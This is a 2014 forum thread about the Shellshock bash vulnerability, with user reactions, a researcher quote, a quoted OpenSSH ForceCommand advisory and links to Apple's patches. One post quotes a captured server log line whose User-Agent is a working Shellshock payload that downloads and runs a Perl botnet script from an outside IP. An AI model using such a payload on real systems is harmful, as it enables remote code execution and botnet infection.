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SHELLSHOCK: Macs, Linux, and Ubuntu face SEVERE security threats


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Please stop talking nonsense. CGI does not work that way.

 

Please stop talking like this isn't at all possible.

It's wormable, and once the worm gets ahold of an IPs on a server, it's over. 

 

Possible ways to spread/generate malware onto normal users:

SSH client on Mac OS X

Linux-based routers running CGI scripts

Via servers

 

 

 

A number of security companies are now reporting attacks based on Shellshock that are ongoing. "We’re seeing attackers target the Shellshock vulnerability almost immediately (within 4.5 hours) of it being publicly announced," said Waylon Grange, senior malware researcher at Blue Coat. "Any organizations or users with unpatched Linux servers are vulnerable to hackers running unauthorized code, so it’s very important that organizations download and apply the patch immediately. Blue Coat is already seeing DDOS botnets trying to utilize this vulnerability in their attacks and we expect that traffic to only continue to increase.â€

 

Even these server attacks affect the users.

We're just not seeing any direct SSH attacks yet since there has to be an authentication to the client.

109.202.102.224 - - [25/Sep/2014:09:44:58 -0500] "GET /cgi-bin/hello HTTP/1.0" 404 494 "-" "() { :;}; /bin/bash -c "cd /tmp;wget http://213.5.67.223/jur;curl -O http://213.5.67.223/jur ; perl /tmp/jur;rm -rf /tmp/jur""

-- this one showed up a couple times on our servers today from netherlands. the source it pulls from http://213.5.67.223/jur has what looks to be a botnet with a worm component.

edit - looks like the 213.5.67.223 removed the exposed file. I have a copy of it, is there anyone in the security community I can send it to? there is some pretty scary looking **** in it. damn perl script has a built in port scanner, bot net tcp/udp flooders and spreader.

Do you have any clue what this would mean for users and servers?

It's Heartbleed all over again

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Synopsis:

The sshd daemon used in OpenSSH supports a ForceCommand directive, allowing shell logins to be restricted to specific commands. This is often used in configuring sshd for cvs/git accounts, restricted shells, or management scripts. The ForceCommand directive can be employed system wide, or just for specific users.

Vulnerability:

By default, sshd is configured to allow the LANG environment variable to be pass through prior to execution of the restricted shell. On systems vulnerable to the bash/shellshock vulnerability, LANG can be set in such a way that spawns a remote shell or executes other code on the server, effectively bypassing the forced command and allowing full account access. This can be taken advantage of after the user has authenticated via ssh, and so such systems are only at risk from abuse by their own authorized users, however such users are normally restricted from being able to execute arbitrary commands, and so this is more of a privilege escalation in such cases. This vulnerability can be even more dangerous on systems with open restricted accounts, in which case it becomes an RCE risk.

The following code invokes an ssh session that will use shellshock to spawn a remote shell on port 8000 to the IP address at A.B.C.D.

 

Source: http://www.zdziarski.com/blog/?p=3905

 

 

MESS IF THIS IS TRUE :giveup:

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if you don't know, you're probably not using it

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Apple has released the update! You can manually download it from Apple.com, or wait for it to appear in the Mac App Store update tab shortly. If your using the Yosemite Beta, an update will be released soon.

 

Lion

http://support.apple.com/kb/DL1767

 

Mountain Lion

http://support.apple.com/kb/DL1768

 

Mavericks

http://support.apple.com/kb/DL1769?viewlocale=en_US&locale=en_US

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Apple has released the update! You can manually download it from Apple.com, or wait for it to appear in the Mac App Store update tab shortly. If your using the Yosemite Beta, an update will be released soon.

 

Lion

http://support.apple.com/kb/DL1767

 

Mountain Lion

http://support.apple.com/kb/DL1768

 

Mavericks

http://support.apple.com/kb/DL1769?viewlocale=en_US&locale=en_US

Thank you! Mine is updating right now!

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